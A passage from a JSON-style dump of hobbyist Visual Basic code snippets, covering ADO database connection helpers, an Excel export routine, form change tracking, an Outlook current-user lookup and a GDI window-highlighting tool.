objRecSet.Fields(strBLOBFieldName).GetChunk(BlockSize)\n Put DestFileNum, , ByteData()\n Next i\n Close DestFileNum\n GetLongRaw = True\n'============\n'The object file is now located at strFileName\n'============\nEnd Function\n\n"},{"WorldId":1,"id":6320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6321,"LineNumber":1,"line":"'Put This part in a module\n'======================================\n'Starrt of Module\n'======================================\nOption Explicit\nPublic Enum RSMethod\n VIEW_RECORD = 0\n EDIT_RECORD = 1\n EXEC_SQL = 2\n NEW_RECORD = 3\nEnd Enum\nFunction dbConnection(strDatabaseType As String, strDBService As String, Optional strUserID As String, Optional strPassword As String) As ADODB.Connection\n \n Dim objDB As New ADODB.Connection\n Dim strConnectionString As String\n \n If strDatabaseType = \"ORACLE\" Then\n 'Define ORACLE database connection string\n strConnectionString = \"Driver={Microsoft ODBC Driver for Oracle};ConnectString=\" & strDBService & \";UID=\" & strUserID & \";PWD=\" & strPassword & \";\"\n ElseIf strDatabaseType = \"MSACCESS\" Then\n 'Define Microsoft Access database connection string\n strConnectionString = \"DBQ=\" & strDBService\n strConnectionString = \"DRIVER={Microsoft Access Driver (*.mdb)}; \" & strConnectionString\n End If\n \n With objDB\n .Mode = adModeReadWrite ' connection mode ???\n .ConnectionTimeout = 10 'Indicates how long to wait while establishing a connection before terminating the attempt and generating an error.\n .CommandTimeout = 5 ' seconds given to execute any command\n .CursorLocation = adUseClient ' use the appropriate cursor ???\n .Open strConnectionString 'open the database connection\n \n End With\n \n Set dbConnection = objDB\nEnd Function\nFunction CreateRecordSet(ByRef dbConn As ADODB.Connection, ByRef rs As ADODB.Recordset, ByVal method As RSMethod, Optional strSQL As String, Optional TableName As String) As ADODB.Recordset\n' close the recordset first if it's open...\n' otherwise an error will occured\n'(open a recordset which is already opened...)\nif rs.State=1 then\nrs.close \nend if\n Select Case method\n Case RSMethod.NEW_RECORD\n rs.ActiveConnection = dbConn\n rs.CursorType = adOpenKeyset\n rs.LockType = adLockOptimistic\n rs.CursorLocation = adUseServer\n rs.Open TableName\n \n Case RSMethod.EDIT_RECORD\n rs.ActiveConnection = dbConn\n rs.Source = strSQL\n rs.CursorType = adOpenKeyset\n rs.LockType = adLockOptimistic\n rs.CursorLocation = adUseClient\n rs.Open\n' Debug.Print \"SQL Statement in EDIT Mode (Createrecordset) : \" & strSQL\n' Debug.Print \"Found \" & rs.RecordCount & \" records\"\n \n Case RSMethod.VIEW_RECORD\n \n rs.ActiveConnection = dbConn 'dbConnection 'dbConn\n rs.Source = strSQL\n rs.CursorType = adOpenForwardOnly\n rs.CursorLocation = adUseClient\n rs.Open\n' Debug.Print \"Found \" & rs.RecordCount & \" records\"\n rs.ActiveConnection = Nothing\n \n Case RSMethod.EXEC_SQL\n Set rs = dbConn.Execute(strSQL)\n End Select\n Set CreateRecordSet = rs\nEnd Function\n'======================================\n'End Of Module\n'======================================\n'=================================================\n'======================================\n'Sample of subroutines...\n'======================================\nSub Add_New_Record()\n Dim objRecSet As New ADODB.Recordset\n Dim objConn As New ADODB.Connection\n Dim strUserID As String\n Dim strPassword As String\n Dim strTableName As String\n Dim strDBType As String\n Dim strDBName As String\n \n strTableName = \"YOURTABLE\"\n strPassword = \"YourPassword\"\n strUserID = \"YourUserID\"\n \n If strDBType = \"MSACCESS\" Then\n ' strDBName is your Database Name\n strDBName = App.Path & \"\\YourAccessDB.mdb\"\n \n ElseIf strDBType = \"ORACLE\" Then\n ' strDBName is your Oracle Service Name\n strDBName = \"YOUR_ORACLE_SERVICE_NAME\"\n strTableName = strUserID & \".\" & strTableName\n 'Table name format ::> USERID.TABLENAME\n Else\n MsgBox \"Database is other than ORACLE or Microsoft\"\n Exit Sub\n End If\n \n Set objConn = dbConnection(strDBType, strDBName, \"userid\", \"password\")\n 'send NEW_RECORD and strTableName as a part of parameters\n Set objRecSet = CreateRecordSet(objConn, objRecSet, NEW_RECORD, , strTableName)\n \n objConn.BeginTrans\n With objRecSet\n .AddNew\n .Fields(\"FIELD1\").Value = \"your value1\"\n .Fields(\"FIELD2\").Value = \"your value2\"\n .Fields(\"FIELD3\").Value = \"your value3\"\n .Fields(\"FIELD4\").Value = \"your value4\"\n .Fields(\"FIELD5\").Value = \"your value5\"\n .Update\n End With\n If objConn.Errors.Count = 0 Then\n objConn.CommitTrans\n Else\n objConn.RollbackTrans\n End If\n \n objRecSet.Close\n objConn.Close\n Set objRecSet = Nothing\n Set objConn = Nothing\nEnd Sub\nSub View_Record_Only()\n Dim strSQL As String\n Dim strDBName As String\n Dim strDBType As String\n Dim strUserID As String\n Dim strPassword As String\n \n Dim objRecSet As New ADODB.Recordset\n Dim objConn As New ADODB.Connection\n \n If strDBType = \"MSACCESS\" Then\n ' strDBName is your Database Name\n strDBName = App.Path & \"\\YourAccessDB.mdb\"\n \n ElseIf strDBType = \"ORACLE\" Then\n ' strDBName is your Oracle Service Name\n strDBName = \"YOUR_ORACLE_SERVICE_NAME\"\n \n Else\n MsgBox \"Database is other than ORACLE or Microsoft\"\n Exit Sub\n End If\n \n strPassword = \"YourPassword\"\n strUserID = \"YourUserID\"\n strSQL = \"SELECT * from USER_TABLE\"\n \n Set objConn = dbConnection(strDBType, strDBName, \"userid\", \"password\")\n 'create a disconnected recordset\n Set objRecSet = CreateRecordSet(objConn, objRecSet, VIEW_RECORD, strSQL)\n objConn.Close\n Set objConn = Nothing\n 'manipulate the recordset here.....\n 'manipulate the recordset here.....\n 'manipulate the recordset here.....\n objRecSet.Close\n Set objRecSet = Nothing\nEnd Sub\nSub Edit_Existing_Record()\n Dim objRecSet As New ADODB.Recordset\n Dim objConn As New ADODB.Connection\n Dim strUserID As String\n Dim strPassword As String\n Dim strSQL As String\n Dim strDBType As String\n Dim strDBName As String\n \n strTableName = \"YOURTABLE\"\n strPassword = \"YourPassword\"\n strUserID = \"YourUserID\"\n \n If strDBType = \"MSACCESS\" Then\n ' strDBName is your Database Name\n strDBName = App.Path & \"\\YourAccessDB.mdb\"\n \n ElseIf strDBType = \"ORACLE\" Then\n ' strDBName is your Oracle Service Name\n strDBName = \"YOUR_ORACLE_SERVICE_NAME\"\n Else\n MsgBox \"Database is other than ORACLE or Microsoft\"\n Exit Sub\n End If\n strSQL = \"Select * from YOUR_TABLE\"\n Set objConn = dbConnection(strDBType, strDBName, \"userid\", \"password\")\n 'send EDIT_RECORD and strSQL as a part of parameters\n Set objRecSet = CreateRecordSet(objConn, objRecSet, EDIT_RECORD, strSQL)\n \n With objRecSet\n .Fields(\"FIELD1\").Value = \"your value1\"\n .Update\n End With\n objRecSet.Close\n objConn.Close\n Set objRecSet = Nothing\n Set objConn = Nothing\nEnd Sub\n'======================================\n'End of Sample of subroutines...\n'======================================\n"},{"WorldId":1,"id":6323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6330,"LineNumber":1,"line":"Private Sub cmdUser_Click()\n'get the user from the current Outlook session\nDim ol As Outlook.Application\nDim ns As NameSpace\nDim oRec As Recipient\nSet ol = New Outlook.Application\nSet ns = ol.GetNamespace(\"MAPI\")\nCall ns.Logon(, , , False)\nSet oRec = ns.CurrentUser\nMsgBox oRec.Name\nEnd Sub\n"},{"WorldId":1,"id":6333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6347,"LineNumber":1,"line":"\nPublic Sub ExportListViewtoExcel(lvwList As Control)\n Dim vntHeader As Variant\n Dim vntData As Variant\n Dim x As Long\n Dim y As Long\n Dim intCol As Integer\n Dim lngRow As Long\n \n 'Get Counts\n intCol = CInt(lvwList.ColumnHeaders.Count - 1)\n lngRow = CLng(lvwList.ListItems.Count - 1)\n \n ReDim vntHeader(0)\n ReDim vntData(intCol, lngRow)\n \n 'Create Header Array\n For x = 0 To intCol\n ReDim Preserve vntHeader(x)\n vntHeader(x) = lvwList.ColumnHeaders(x + 1).Text\n Next\n \n 'Create Data Array\n For x = 0 To lngRow\n vntData(0, x) = lvwList.ListItems.Item(x + 1).Text\n \n For y = 1 To intCol\n vntData(y, x) = lvwList.ListItems.Item(x + 1).SubItems(y)\n Next\n Next\n \n 'Create Excel Object\n OpenExcel vntData, vntHeader\n \nEnd Sub\nPrivate Sub ExportRecords(vntData As Variant, vntHeader As Variant, ws As Worksheet)\n \n Dim lngRow As Long\n Dim intCol As Integer\n Dim varData As Variant\n Dim intStart As Integer\n \n 'Select all Cells and and set the number format to string\n ws.Cells.Select\n ws.Cells.NumberFormat = \"@\"\n ws.Cells(1, 1).Select\n lngRow = UBound(vntData, 2) + 2\n intCol = UBound(vntData, 1) + 1\n intStart = 2 'Start from line 2\n 'Freeze Row 2\n ws.Rows(2).Select\n ws.Activate\n ActiveWindow.FreezePanes = True\n 'Add Headers\n For x = 1 To intCol\n varData = vntHeader(x - 1)\n ws.Cells(1, x) = CStr(varData)\n ws.Cells(1, x).Font.Bold = True\n Next\n \n 'Add Data\n For y = 1 To intCol\n For x = intStart To lngRow\n varData = vntData(y - 1, x - 2)\n \n If IsNull(varData) Then 'Make sure no null values, Excel will choke\n 'Add 1 to Move down a column\n ws.Cells(x + 1, y) = \"\"\n Else\n ws.Cells(x + 1, y) = CStr(varData) 'Convert to String to preserve formatting\n End If\n Next\n Next\n \n 'Resize Columns to Fit\n ws.Columns.AutoFit\nEnd Sub\nPrivate Sub OpenExcel(vntData As Variant, vntHeader As Variant)\nOn Error GoTo Err_OpenExcel\nDim objExcel As Excel.Application\nDim objWrkSht As Worksheet\nDim x As Integer\n'Create Excel Object\nSet objExcel = CreateObject(\"Excel.Application\")\n'Add the Workbook\nobjExcel.Workbooks.Add\nSet objWrkSht = objExcel.ActiveWorkbook.Sheets(1)\nobjExcel.Visible = True\n'Fill the Workbook with data\nExportRecords vntData, vntHeader, objWrkSht\nobjExcel.Interactive = True\n' Clean up:\nSet objExlSht = Nothing\nSet objExcel = Nothing\nErr_OpenExcel:\n Select Case Err\n Case 0\n Case 439\n MsgBox \"You must have Microsoft Excel installed on your PC.\", vbCritical, \"Application Not Found\"\n Case Else\n MsgBox Err & \": \" & Error, vbCritical, \"OpenExcel Error\"\n End Select\nEnd Sub\n"},{"WorldId":1,"id":6349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6361,"LineNumber":1,"line":"'This Code Is placed in a Common Module so All forms Can Access it\n'This Enum used to Navigate the MyFormValuesOnLoad Array (-1,0,1,2)\nPublic Enum ValueType\n NotControlArray = -1\n MyName\n MyTextOrValue\n MyIndex\nEnd Enum\n'These are Constants for Use in calling IsDirty\nPublic Const RESET_VALUES As Boolean = True\nPublic Const RESET_ACTIVE_CONTROL As Boolean = True\n''''''''''''''''''''''''''''''''''''''''''''''\n'This Code Is placed in a Common Module so All forms Can Access it\nPublic Sub FormatData(MyForm As Form, MyFormValuesOnLoad As Variant)\n 'BGS 8/10/1999\n 'A. formats data in all controls for MyForm\n 'depending upon the control type and what its tag property says\n \n 'B. Then it places all the control names and their values into\n 'a dynamic two dimensional variant array MyFormValuesOnLoad to be used later.\n 'The IsDirty boolean function will use this variant array to tell whether\n 'changes were made, as well as reset the values on the form if the user\n 'desires to do so.\n \n \n On Error GoTo EH\n \n Dim MyControl As Control\n Dim MyControlCount As Integer\n \n MyControlCount = 0\n \n 'A. formats data in all controls for MyForm\n 'depending upon the control type and what its tag property says\n \n Screen.MousePointer = vbHourglass\n \n For Each MyControl In MyForm.Controls\n 'Put data formating code here\n '\n '\n '\n '\n 'End Format Code\n If TypeOf MyControl Is TextBox Or TypeOf MyControl Is CheckBox Or TypeOf MyControl Is ComboBox Then\n MyControlCount = MyControlCount + 1\n End If\n \n Next\n \n 'B. Then it places all the control names and their values into\n 'a dynamic two dimensional variant array MyFormValuesOnLoad to be used later.\n 'The IsDirty boolean function will use this variant array to tell whether\n 'changes were made, as well as reset the values on the form if the user\n 'desires to do so.\n \n ReDim MyFormValuesOnLoad(MyName To MyIndex, 1 To MyControlCount)\n \n MyControlCount = 0\n \n For Each MyControl In MyForm.Controls\n If TypeOf MyControl Is TextBox Or TypeOf MyControl Is CheckBox Or TypeOf MyControl Is ComboBox Then\n \n MyControlCount = MyControlCount + 1\n \n MyFormValuesOnLoad(MyName, MyControlCount) = MyControl.Name\n \n If TypeOf MyControl Is TextBox Then\n MyFormValuesOnLoad(MyTextOrValue, MyControlCount) = MyControl.Text\n ElseIf TypeOf MyControl Is CheckBox Then\n MyFormValuesOnLoad(MyTextOrValue, MyControlCount) = MyControl.Value\n ElseIf TypeOf MyControl Is ComboBox Then\n MyFormValuesOnLoad(MyTextOrValue, MyControlCount) = MyControl.ListIndex\n End If\n \n If isControlArray(MyForm, MyControl) Then\n MyFormValuesOnLoad(MyIndex, MyControlCount) = MyControl.Index\n Else\n MyFormValuesOnLoad(MyIndex, MyControlCount) = NotControlArray\n End If\n \n End If\n Next\n \n Screen.MousePointer = vbDefault\n \n Exit Sub\nEH:\n Screen.MousePointer = vbDefault\n MsgBox Err.Description & \" in Form \" & MyForm.Name, , \"FormatData\"\nEnd Sub\n''''''''''''''''''''''''''''''''''\n'This Code Is placed in a Common Module so All forms Can Access it\nPublic Function isControlArray(MyForm As Form, MyControl As Control) As Boolean\n \n 'BGS 8/1/1999 Added this function to determin if a Control is part of\n 'a control array or not. I had to do this because VB does not have a\n 'function that figures this out IsArray does not work on Control Arrays\n \n On Error GoTo EH\n Dim MyCount As Integer\n Dim CheckMyControl As Control\n \n For Each CheckMyControl In MyForm.Controls\n If CheckMyControl.Name = MyControl.Name Then\n MyCount = MyCount + 1\n End If\n Next\n \n isControlArray = MyCount - 1\n Exit Function\nEH:\n MsgBox Err.Description & \"in Form \" & MyForm.Name, , \"isControlArray\"\nEnd Function\n''''''''''''''''''''''''''''''''''\n'This Code Is placed in a Common Module so All forms Can Access it\nPublic Function IsDirty(MyForm As Form, MyFormValuesOnLoad As Variant, Optional Reset As Boolean, Optional ResetActiveControl As Boolean, Optional MyActiveControl As Control) As Boolean\n 'BGS 8/8/1999 IsDirty for Forms with TextBoxes, CheckBoxes, and ComboBoxes\n \n 'Checks all the Controls on Myform and compares their values to what is in\n 'MyFormValuesOnLoad Variant Array.\n \n 'First the Function checks the type of each Control, if they are a TexBox CheckBox\n 'or ComboBox then it will continue on. Continuing, it will check to see if the\n 'Control in question is a Control array or not. IF it is then the function will\n 'compare each Name in the MyFormValuesOnLoad Variant array, When then name matches\n 'the one in the Array, then it will compare the Index. When both name and the Index\n 'match , then it will check the TypeOf of the Control in Question. If it is a TexBox\n 'then the function will compare the .Text to the MyTextOrValue in the Array. If it matches then It\n 'is \"Not Dirty\" so the Boolean variable bIsDirty remains False. (***Note if the Boolean Variable\n 'Reset is set to True Then All Controls will be set back to their previous value stored in the Array.\n 'Or if ResetActiveControl is Set to True, Then ONLY the Control which currently has Focus would be reset to\n 'the previous value stored in the Array. ***) The function does the exact same thing for\n 'the CheckBox and ComboBox controls but uses the .Value and .ListIndex instead of the .Text .\n \n 'IF the Control in question is not a control array then the function does the exact same\n 'thing as above but leaves out checking to make sure the index matches the Array since it\n 'does not have that property.\n \n On Error GoTo EH\n \n Dim MyControl As Control\n Dim MyControlCount As Integer\n Dim MyActCtrlName As String\n Dim MyActCtrlIndex As Integer\n Dim bIsDirty As Boolean\n \n Screen.MousePointer = vbHourglass\n \n If ResetActiveControl Then\n If isControlArray(MyForm, MyActiveControl) Then\n MyActCtrlIndex = MyActiveControl.Index\n End If\n MyActCtrlName = MyActiveControl.Name\n End If\n \n \n For Each MyControl In MyForm.Controls\n If TypeOf MyControl Is TextBox Or TypeOf MyControl Is CheckBox Or TypeOf MyControl Is ComboBox Then\n With MyControl\n If isControlArray(MyForm, MyControl) Then\n For MyControlCount = 1 To UBound(MyFormValuesOnLoad, 2)\n If MyFormValuesOnLoad(MyName, MyControlCount) = .Name Then\n If MyFormValuesOnLoad(MyIndex, MyControlCount) = .Index Then\n If TypeOf MyControl Is TextBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Text Then\n bIsDirty = True\n If Reset Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName And .Index = MyActCtrlIndex Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is CheckBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Value Then\n bIsDirty = True\n If Reset Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName And .Index = MyActCtrlIndex Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is ComboBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .ListIndex Then\n bIsDirty = True\n If Reset Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName And .Index = MyActCtrlIndex Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n End If\n End If\n End If\n Next\n Else\n For MyControlCount = 1 To UBound(MyFormValuesOnLoad, 2)\n If MyFormValuesOnLoad(MyName, MyControlCount) = .Name Then\n If TypeOf MyControl Is TextBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Text Then\n bIsDirty = True\n If Reset Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName Then\n .Text = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is CheckBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .Value Then\n bIsDirty = True\n If Reset Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName Then\n .Value = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n ElseIf TypeOf MyControl Is ComboBox Then\n If MyFormValuesOnLoad(MyTextOrValue, MyControlCount) <> .ListIndex Then\n bIsDirty = True\n If Reset Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n End If\n If ResetActiveControl Then\n If .Name = MyActCtrlName Then\n .ListIndex = MyFormValuesOnLoad(MyTextOrValue, MyControlCount)\n Screen.MousePointer = vbDefault\n Exit Function\n End If\n End If\n Exit For\n End If\n End If\n End If\n Next\n End If\n End With\n End If\n Next\n \n Screen.MousePointer = vbDefault\n IsDirty = bIsDirty\n \n Exit Function\nEH:\n Screen.MousePointer = vbDefault\n MsgBox Err.Description & \" in Form \" & MyForm.Name, , \"IsDirty\"\n \nEnd Function\n''''''''''''''''''''''''''''''''''''''''\n'This is the Click event for a ToolBar with Buttons you could use on your form\n'I used a tool bar because the Active Control such as a Textbox or whatever will\n'Remain Active even though you click on the ToolBar Button. This is Handy to know\n'if you want to reset Just the Active Textbox to its Original Value.\nPrivate Sub tbrReset_ButtonClick(ByVal Button As MSComctlLib.Button)\n'BGS 8/17/99\n \n On Error GoTo EH\n \n Select Case Button.Key\n Case \"ResetAll\"\n If IsDirty(Me, mValuesOnLoad) Then\n Select Case MsgBox(\"Are you sure you want to Reset All Values ?\", vbYesNo + vbQuestion, \" Reset to Previous Values\")\n Case vbYes\n Call IsDirty(Me, mValuesOnLoad, RESET_VALUES)\n Case vbNo\n Exit Sub\n End Select\n Else\n 'MsgBox \"Could not find Any Changes to Reset\", vbInformation, \"Reset\"\n End If\n Case \"ResetActive\"\n Call IsDirty(Me, mValuesOnLoad, , RESET_ACTIVE_CONTROL, Me.ActiveControl)\n End Select\n \n \n Exit Sub\nEH:\n MsgBox Err.Description & \" in Form \" & Me.Name, , \"ResetToolBar_ButtonClick\"\nEnd Sub\n''''''''''''''''''''''''''''''''\n'This Goes in your Form as a Mod level Variable. it will be used to Store\n'All the Values of TextBoxes, CheckBoxes, and ComboBoxes on Load\nPrivate mValuesOnLoad() As Variant\n"},{"WorldId":1,"id":6362,"LineNumber":1,"line":"'\n' Sorry I haven't put the declarations in it's box and all that jazz, but I did it like this\n' So that you could select it all and just place it into a new form.\n' Yes, it's that easy. Create a new form, copy and paste this code.\n' Then click on the form and hold down the mouse, and drag over to another window.\n'\n' Jolyon Bloomfield, February 2000\n'\n' A note to using this code: I guess since I've put it here, anybody can use it.\n' If you do, please give me credit for the hard work that I put into this.\n' It wasn't an easy process, and I don't want anybody taking credit for my work.\n'\n'\n' The only bug I've found, is that when a window is maximised, it has coordinates\n' that exceed the bounding area of the screen. I tried to offset this effect,\n' but gave up.\n'\nOption Explicit ' Require variable Declaration\n' PointAPI and RECT are the two most common structures used in graphics in Windows\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long ' Get the cursor position\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long ' Get the handle of the window that is foremost on a particular X, Y position. Used here to get the window under the cursor\nPrivate Declare Function GetWindowRect Lib \"user32\" (ByVal hwnd As Long, lpRect As RECT) As Long ' Get the window co-ordinates in a RECT structure\nPrivate Declare Function GetWindowDC Lib \"user32\" (ByVal hwnd As Long) As Long ' Retrieve a handle for the hDC of a window\nPrivate Declare Function ReleaseDC Lib \"user32\" (ByVal hwnd As Long, ByVal hdc As Long) As Long ' Release the memory occupied by an hDC\nPrivate Declare Function CreatePen Lib \"gdi32\" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long ' Create a GDI graphics pen object\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long ' Used to select brushes, pens, and clipping regions\nPrivate Declare Function GetStockObject Lib \"gdi32\" (ByVal nIndex As Long) As Long ' Get hold of a \"stock\" object. I use it to get a Null Brush\nPrivate Declare Function SetROP2 Lib \"gdi32\" (ByVal hdc As Long, ByVal nDrawMode As Long) As Long ' Used to set the Raster OPeration of a window\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long ' Delete a GDI Object\nPrivate Declare Function Rectangle Lib \"gdi32\" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long ' GDI Graphics- draw a rectangle using current pen, brush, etc.\nPrivate Declare Function SetCapture Lib \"user32\" (ByVal hwnd As Long) As Long ' Set mouse events only for one window\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long ' Release the mouse capture\nPrivate Declare Function CreateRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long ' Create a rectangular region\nPrivate Declare Function SelectClipRgn Lib \"gdi32\" (ByVal hdc As Long, ByVal hRgn As Long) As Long ' Select the clipping region of an hDC\nPrivate Declare Function GetClipRgn Lib \"gdi32\" (ByVal hdc As Long, ByVal hRgn As Long) As Long ' Get the Clipping region of an hDC\nPrivate Const NULL_BRUSH = 5 ' Stock Object\nPrivate Selecting As Boolean ' Amd I currently selecting a window?\nPrivate BorderDrawn As Boolean ' Is there a border currently drawn that needs to be undrawn?\nPrivate Myhwnd As Long ' The current hWnd that has a border drawn on it\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n' Set the selecting flag\nSelecting = True\n' Capture all mouse events to this window (form)\nSetCapture Me.hwnd\n' Simulate a mouse movement event to draw the border when the mouse button goes down\nForm_MouseMove 0, Shift, X, Y\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n' Security catch to make sure that the graphics don't get mucked up when not selecting\nIf Selecting = False Then Exit Sub\n' Call the \"Draw\" subroutine\nDraw\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n' If not selecting, then skip\nIf Selecting = False Then Exit Sub\n' Clean up the graphics drawn\nUnDraw\n' Release mouse capture\nReleaseCapture\n' Not selecting\nSelecting = False\n' Reset the variable\nMyhwnd = 0\nEnd Sub\nPrivate Sub Draw()\nDim Cursor As POINTAPI ' Cursor position\nDim RetVal As Long ' Dummy returnvalue\nDim hdc As Long ' hDC that we're going to be using\nDim Pen As Long ' Handle to a GDI Pen object\nDim Brush As Long ' Handle to a GDI Brush object\nDim OldPen As Long ' Handle to previous Pen object (to restore it)\nDim OldBrush As Long ' Handle to previous brush object (to restore it)\nDim OldROP As Long ' Value of the previous ROP\nDim Region As Long ' Handle to a GDI Region object that I create\nDim OldRegion As Long ' Handle to previous Region object for the hDC\nDim FullWind As RECT ' the bounding rectangle of the window in screen coords\nDim Draw As RECT ' The drawing rectangle\n'\n' Getting all of the ingredients ready\n'\n' Get the cursor\nGetCursorPos Cursor\n' Get the window\nRetVal = WindowFromPoint(Cursor.X, Cursor.Y)\n' If the new hWnd is the same as the old one, skip drawing it, so to avoid flicker\nIf RetVal = Myhwnd Then Exit Sub\n' New hWnd. If there is currently a border drawn, undraw it.\nIf BorderDrawn = True Then UnDraw\n' Set the BorderDrawn property to true, as we're just about to draw it.\nBorderDrawn = True\n' And set the hWnd to the new value.\n' Note, I didn't do it before, because the UnDraw routine uses the Myhwnd variable\nMyhwnd = RetVal\n' Print the hWnd on the form in Hex (just so see what windows are at work)\nMe.Cls\nMe.Print Hex(Myhwnd)\n' You could extract other information from the window, such as window title,\n' class name, parent, etc., and print it here, too.\n' Get the full Rect of the window in screen co-ords\nGetWindowRect Myhwnd, FullWind\n' Create a region with width and height of the window\nRegion = CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top)\n' Create an hDC for the hWnd\n' Note: GetDC retrieves the CLIENT AREA hDC. We want the WHOLE WINDOW, including Non-Client\n' stuff like title bar, menu, border, etc.\nhdc = GetWindowDC(Myhwnd)\n' Save the old region\nRetVal = GetClipRgn(hdc, OldRegion)\n' Retval = 0: no region 1: Region copied -1: error\n' Select the new region\nRetVal = SelectObject(hdc, Region)\n' Create a pen\nPen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) ' Draw Solid lines, width 6, and color black\n' Select the pen\n' A pen draws the lines\nOldPen = SelectObject(hdc, Pen)\n' Create a brush\n' A brush is the filling for a shape\n' I need to set it to a null brush so that it doesn't edit anything\nBrush = GetStockObject(NULL_BRUSH)\n' Select the brush\nOldBrush = SelectObject(hdc, Brush)\n' Select the ROP\nOldROP = SetROP2(hdc, DrawModeConstants.vbInvert) ' vbInvert means, whatever is draw,\n ' invert those pixels. This means that I can undraw it by doing the same.\n'\n' The Drawing Bits\n'\n' Put a box around the outside of the window, using the current hDC.\n' These coords are in device co-ordinates, i.e., of the hDC.\nWith Draw\n .Left = 0\n .Top = 0\n .Bottom = FullWind.Bottom - FullWind.Top\n .Right = FullWind.Right - FullWind.Left\n Rectangle hdc, .Left, .Top, .Right, .Bottom ' Really easy to understand - draw a rectangle, hDC, and coordinates\nEnd With\n'\n' The Washing Up bits\n'\n' This is a very important part, as it releases memory that has been taken up.\n' If we don't do this, windows crashes due to a memory leak.\n' You probably get a blue screen (altohugh I'm not sure)\n'\n' Get back the old region\nSelectObject hdc, OldRegion\n' Return the previous ROP\nSetROP2 hdc, OldROP\n' Return to the previous brush\nSelectObject hdc, OldBrush\n' Return the previous pen\nSelectObject hdc, OldPen\n' Delete the Brush I created\nDeleteObject Brush\n' Delete the Pen I created\nDeleteObject Pen\n' Delete the region I created\nDeleteObject Region\n' Release the hDC back to window's resource pool\nReleaseDC Myhwnd, hdc\nEnd Sub\nPrivate Sub UnDraw()\n'\n' Note, this sub is almost identical to the other one, except it doesn't go looking\n' for the hWnd, it accesses the old one. Also, it doesn't clear the form.\n' Otherwise, it just draws on top of the old one with an invert pen.\n' 2 inverts = original\n'\n' If there hasn't been a border drawn, then get out of here.\nIf BorderDrawn = False Then Exit Sub\n' Now set it\nBorderDrawn = False\n' If there isn't a current hWnd, then exit.\n' That's why in the mouseup event we get out, because otherwise a border would be draw\n' around the old window\nIf Myhwnd = 0 Then Exit Sub\nDim Cursor As POINTAPI ' Cursor position\nDim RetVal As Long ' Dummy returnvalue\nDim hdc As Long ' hDC that we're going to be using\nDim Pen As Long ' Handle to a GDI Pen object\nDim Brush As Long ' Handle to a GDI Brush object\nDim OldPen As Long ' Handle to previous Pen object (to restore it)\nDim OldBrush As Long ' Handle to previous brush object (to restore it)\nDim OldROP As Long ' Value of the previous ROP\nDim Region As Long ' Handle to a GDI Region object that I create\nDim OldRegion As Long ' Handle to previous Region object for the hDC\nDim FullWind As RECT ' the bounding rectangle of the window in screen coords\nDim Draw As RECT ' The drawing rectangle\n'\n' Getting all of the ingredients ready\n'\n' Get the full Rect of the window in screen co-ords\nGetWindowRect Myhwnd, FullWind\n' Create a region with width and height of the window\nRegion = 